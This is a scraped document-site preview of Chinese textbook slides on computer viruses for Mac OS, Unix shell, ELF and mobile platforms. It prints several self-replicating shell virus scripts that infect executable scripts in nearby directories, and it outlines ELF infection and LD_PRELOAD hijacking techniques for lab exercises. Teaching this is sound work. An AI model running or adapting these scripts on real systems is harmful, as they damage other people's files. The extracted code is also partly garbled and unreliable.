计算机病毒原理及防范技术-第9章 其他平台的病毒_第1页
计算机病毒原理及防范技术-第9章 其他平台的病毒_第2页
计算机病毒原理及防范技术-第9章 其他平台的病毒_第3页
计算机病毒原理及防范技术-第9章 其他平台的病毒_第4页
计算机病毒原理及防范技术-第9章 其他平台的病毒_第5页
已阅读5页,还剩47页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

计算机病毒原理及理论,第九章 其他平台的病毒,第九章 其他平台的病毒,9.3 Shell脚本及病毒,9.2 Mac OS环境下的病毒,9.1 其他平台病毒的概述,本章学习导读,9.4 伪造的库函数,9.5 基于ELF的计算机病毒,9.6 移动设备病毒,本章小结,本章学习导读,本章主要讲解除了windows操作系统以外的其他平台下的病毒。首先概要的介绍其他平台下的病毒;然后讲解Mac平台下的病毒的特点;Linux以及Unix平台下的Shell病毒;然后介绍伪造的库函数;最后介绍新型移动设备上面的主要病毒。,9.1 其他平台病毒的概述,实际上没有一个OS可以完全抵御病毒的,包括Linux。不论在Linux平台,还是Windows NT或者Mac OS,或者DOS或Windows,或者是Amiga,都可以创造出病毒代码。,9.1 其他平台病毒的概述,1.一些公共误区 首先第一个最大的误区就是很多高性能的安全系统可以对病毒蔓延的预防。 另一个误区就是认为linux系统尤其可以防止病毒的感染。 第三个误区就是认为UNIX系统是绝对安全的。,9.1 其他平台病毒的概述,2. Shell脚本 传播得首要问题是想办法使各个平台兼容。所以首先想到的是:shell脚本语言。 shell在不同的UNIX系统上面的差别很小。,9.1 其他平台病毒的概述,3.蠕虫 Internet的蠕虫病毒一般都是利用已知的攻击程序去获得目标机的管理员权限,但是蠕虫的生命也是很短暂的,当该病毒所利用的漏洞被修补的话,那么该蠕虫也就失去它的作用了,,9.1 其他平台病毒的概述,4.内核级的传播 rootkit技术被病毒广泛应用,新型的病毒通过修改操作系统内核,来隐藏自身进程,隐藏自身文件,隐藏注册表项,此时的病毒完全融入了系统内核,无从发现也无从查杀。,9.1 其他平台病毒的概述,5.与平台兼容的病毒 如果用标准C来书写病毒代码的话,各种不同体系的UNIX系统变化不大。只需要对方计算机有一个gcc编译器,这样的病毒可以很轻易的扩散。这种可以跨平台的病毒的传染面是非常广的,而且似乎根本没有结束的时候。,9.2 Mac OS环境下的病毒,1. Mac.Simpsons mm 一个感染Macintosh(Mac OS 9.0 或更高)平台的AppleScript蠕虫,该蠕虫会打开Outlook(5.02)或Entourage并向地址簿中的所有人发送自身的副本。,9.2 Mac OS环境下的病毒,2. SevenDust 该病毒专门感染Mac执行文件,作为一个感染后的特征,该病毒还会在系统的Extension文件夹内生成一个名为“?666”的古怪文件。感染了这种病毒的机器最终将无法完成启动,并出现报警框,提示发生127类系统错误。该病毒只会感染Mac OS 8/9,不会感染Mac OS X(但会感染Classic)。,9.2 Mac OS环境下的病毒,3. CODE 9811 此病毒在应用程序之间传播。当受感染的应用程序启动时,它会搜索并感染另一个应用程序,将自身复制到该应用程序中。,9.2 Mac OS环境下的病毒,4. MBDF A MBDF A是源于特洛伊木马病毒Tetracycle的变种。另外,有人发现MBDF A携带于Obnoxious Tetris和Ten Tile Puzzle几个版本中。,9.2 Mac OS环境下的病毒,5. MAC_RENEPO.B 它会执行下列动作: (1)安装一个会自动激活的例程。 (2)执行一个远程访问应用程序(OSXvnc)。 (3)记录使用者通过键盘输入的资料。 (4)下载并执行一个密码破解程序。 (5)窃取密码、密码杂凑、以及系统或使用者组态信息。 (6)修改系统或其它应用程序设定或偏好选项。,9.2 Mac OS环境下的病毒,6. MAC_MP3CONCEPT.A 这个概念验证型恶意程序似乎是一个有效的MP3文件,但实际上它是一个内含MP3文件的Macintosh执行程序。,9.2 Mac OS环境下的病毒,7. MAC SIMPSON.A 与 MAC SIMPSON.B 他们会通过Microsoft Entourage或Microsoft Outlook Express来散播。一旦感染系统之后,它们会开启一个网页,并将它们新增到激活项目中。,9.2 Mac OS环境下的病毒,8. MAC_AUTOSTART.A 它会感染每一个挂载的磁盘驱动器,在磁盘驱动器的根目录植入一个名为DB的自动执行文件。它还会将自己植入Extensions资料夹成为DESKTOP PRINT SPOOLER,以便在每次系统激活时都能执行。,9.3 Shell脚本及病毒,操作系统与外部最主要的接口就叫做Shell。Shell是操作系统最外面的一层。Shell管理用户与操作系统之间的交互:等待用户输入,向操作系统解释用户的输入,并且处理各种各样的操作系统的输出结果。Shell提供了用户与操作系统之间通讯的方式。,9.3 Shell脚本及病毒,1.最原始的Shell病毒,#shellvirus I# for file in ./infect/* do cp $0 $file done,9.3 Shell脚本及病毒,2. Shell病毒举例,#shellvirus II# for file in ./infect/* do if test -f $file #判断是否为文件 then if test -x $file #判断是否可执行 then if test -w $file #判断是否有写权限 then if grep -s echo $file .mmm #判断是否为脚本文件 then cp $0 $file #覆盖当前文件 fi fi fi fi done rm .mmm -f,9.3 Shell脚本及病毒,3.具有感染机制的Shell病毒 Shell脚本一般都是明文的,不过危害性已经相当大了。感染标志infection来判断是否已经被感染在程序中可以反应出来。为了使上面的代码不容易被发现,必须优化它,最先考虑的肯定是精炼代码。,9.3 Shell脚本及病毒,#shellvirus III# #infection head -n 35 $0 .test1 #取病毒自身代码并保存到.test for file in ./* #遍历当前目录中的文件 do echo $file head -n 1 $file .mm #提取要感染的脚本文件的第一行 if grep infection .mm .mmm #判断是否有感染标记infection then #已经被感染,则跳过 echo “infected file and rm .mm“ rm -f .mm else #尚未感染,继续执行 if test -f $file then echo “test -f“ if test -x $file then echo “test -x“ if test -w $file then echo “test -w“ if grep -s echo $file .mmm then echo “test -s and cat.“ cat $file .SAVEE #把病毒代码放在脚本文件的开始部分 cat .test1 $file #原有代码追加在末尾 cat .SAVEE $file #形成含有病毒代码的脚本文件 fi fi fi fi fi done rm .test1 .SAVEE .mmm .mm f #清理工作,9.3 Shell脚本及病毒,4.精炼Shell代码,#ShellVirus IV# #infection for file in ./* ; do #分号(;)表示命令分隔符 if test -f $file else head -n 14 $0 .SAVEE cat $file .SAVEE cat .SAVEE $file fi fi fi done rm -f .SAVEE .mm,9.3 Shell脚本及病毒,5.感染特定目录得Shell病毒 Shell病毒可以做很多事情如download后门程序、为机器自动开后门、主动去攻击联网的其他机器、利用用户的email来发送传染等等。,9.3 Shell脚本及病毒,#ShellVirus V# #infection xtemp=$pwd #保存当前路径 head -n 22 $0 /.test1 for dir in ./* ; do #遍历当前目录 if test -d $dir ; then #如果有子目录则进入 cd $dir for file in ./* ; do #遍历该目录文件 if test -f $file else cat $file /.SAVEE #完成感染 cat /.test1 $file cat /.SAVEE $file fi fi fi done cd fi done cd $xtemp rm -f /.test1 /.SAVEE .mm #清理工作,9.3 Shell脚本及病毒,6.脚本病毒实验 解压缩目录ExperimentLinuxScript。该目录下共包含v-l.sh,v 2.sh,v 3.sh,v 4.sh和v S.sh等5个Linux系统下的脚本病毒文件。复制这些文件到Linux系统。 1)修改这些病毒为可执行文件。 2)创建测试用脚本文件(例如,test.sh),根据病毒感染能力,注意测试文件的属性、所在目录层次等。 3)依次执行这5个脚本病毒,查看它们的执行效果。,9.4 伪造的库函数,人们可以利用LD_PRELOAD环境变量插入代码,也可以利用LD_PRELOAD环境变量把标准的库函数替换成自己的程序,从而让宿主程序执行自己的代码。因此,这种方式可称为伪造的库函数。,9.5 基于ELF的计算机病毒,9.5.3 Linux平台下的病毒,9.5.2 五种感染方式,9.5.1 代码段和数据段,9.5 基于ELF的计算机病毒,在UNIX和Linux上的病毒通常会使用ELF可执行文件格式(Executable andLinking Format)。通常ELF文件没有任何扩展文件名,但是却可以根据其内部结构来识别。,9.5.1 代码段和数据段,UNIX操作系统像绝大多数操作系统一样,进程映像被划分成代码段(Text Segment)和数据段(Data Segment),这里段用于描述具有相同属性的一片内存区域。不只代码段、数据段,还有其他更多的段,比如堆栈段。然而,只有代码段、数据段存在于静态文件映像中。代码段和数据段的主要区别在于它们的访问权限不同。,9.5.1 代码段和数据段,除了程序代码外,那些在运行过程中保持不变的数据也位于代码段。 数据段包括初始化过的数据、未初始化过的数据以及动态内存分配所使用的堆区(Heap)。,9.5.2 五种感染方式,1.覆盖式感染 2.填充感染 3.代码段感染 4.数据段感染 5.PLT感染,9.5.2 五种感染方式,1.覆盖式感染 这种感染最初的思路很简单,就是将病毒体直接拷贝到宿主文件中,从开始部分覆盖宿主文件,从而宿主文件被感染成单纯的病毒体,一般情况下宿主文件会遭到破坏,若要使得在病毒执行后仍然交换控制权给宿主文件,则需要给宿主文件备份,这里的思路并不复杂只是将原宿主文件复制到一个隐藏文件,然后在病毒体执行完之后执行宿主文件,使得进程映像中添加的是原宿主文件的内容。,9.5.2 五种感染方式,2.填充感染 (1)利用节对齐的填充区和函数对齐的填充区进行传染。 (2)利用函数对齐的填充区进行传染 (3)利用填充区植入病毒,9.5.2 五种感染方式,3. 代码段感染 可以考虑在代码段前部植入病毒体,这样修改后的程序入口点依旧在代码段,而不是数据段。 代码段传染技术简单地在可执行映像前面插入病毒体。注意,ELF头必须被拷贝到新二进制文件的首部,ELF头总是先出现在二进制文件中的。文件的首部并非必须紧跟ELF头,只不过通常紧随ELF头比较好些。,9.5.2 五种感染方式,4.数据段感染 ELF感染的一种新方式是扩展数据段,病毒寄生在扩展的空间中。在x86体系结构中,至少在数据段的代码是可以执行的。通过数据段包含进插入的寄生代码来感染文件。,9.5.2 五种感染方式,5.PLT感染 对PLT实现重定向的算法具体可以描述如下: 将文本段修改为可写权限; 保存PLT入口点; 使用新的库调用地址替代原入口; 对新的库调用中代码的修改:实现新的库调用的功能,保存原来的PLT入口,调用原来库调用。,9.5.3 Linux平台下的病毒,1.病毒技术汇总 (1)修订病毒代码的方法 (2)两种感染方法的选择和共存 (3)随机感染当前和上层目录 (4)病毒代码执行时获得起始地址,9.5.3 Linux平台下的病毒,2.病毒的实现 在病毒实例中结合了两种常见的传染技术:文本段之后填充区感染和数据段之后感染。选择这两种感染方法是由于它们各有所长,因此必须结合实际的可执行文件来判断使用那种感染方法进行感染才能够优势互补并且消除每种感染方法的缺陷。 目前实现的病毒对两种方法的选择规则是,首先优先使用文本段填充区感染的方法,如果填充区比病毒的体积小,则自动切换到使用数据段之后填充病毒的方法。,9.5.3 Linux平台下的病毒,3. Linux ELF病毒实验 解压缩目录ExperimentLinuxELF。该目录下共包含如下文件。 get_patch.sh:用来修订文件中两个宏定义的bash脚本文件。 infector.c:感染器程序。 infector.h:感染器程序的头文件。 Makefile:Makefile文件。 vu-us.c:病毒体的源文件。 virus.h:病毒体头文件。 复制这些文件到Linux系统 修改脚本的执行属性。 创建测试用可执行程序,根据病毒感染能力,注意测试文件的属性、所在目录层次等。,9.6 移动设备病毒,由于手机功能的不断发展,各种针对手机程序而“开发”的手机病毒,又来刺激人们本已脆弱的神经。而且更加令人恐怖的是,手机病毒破坏力同样威猛:巨额话费、程序失效、数据丢失、硬件损坏等等更多。,9.6 移动设备病毒,1.手机病毒的概念 手机病毒也是一种计算机程序,和其它计算机病毒一样具有传染性、破坏性。手机病毒可利用发送短信、彩信,电子邮件,浏览网站,下载铃声等方式进行传播。,9.6 移动设备病毒,2.手机病毒工作原理 手机病毒要传播和运行,必要条件是移动服务商要提供数据传输功能,而且手机需要支持Java等高级程序写入功能。现在许多具备上网及下载等功能的手机都可能会被手机病毒入侵。,9.6 移

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论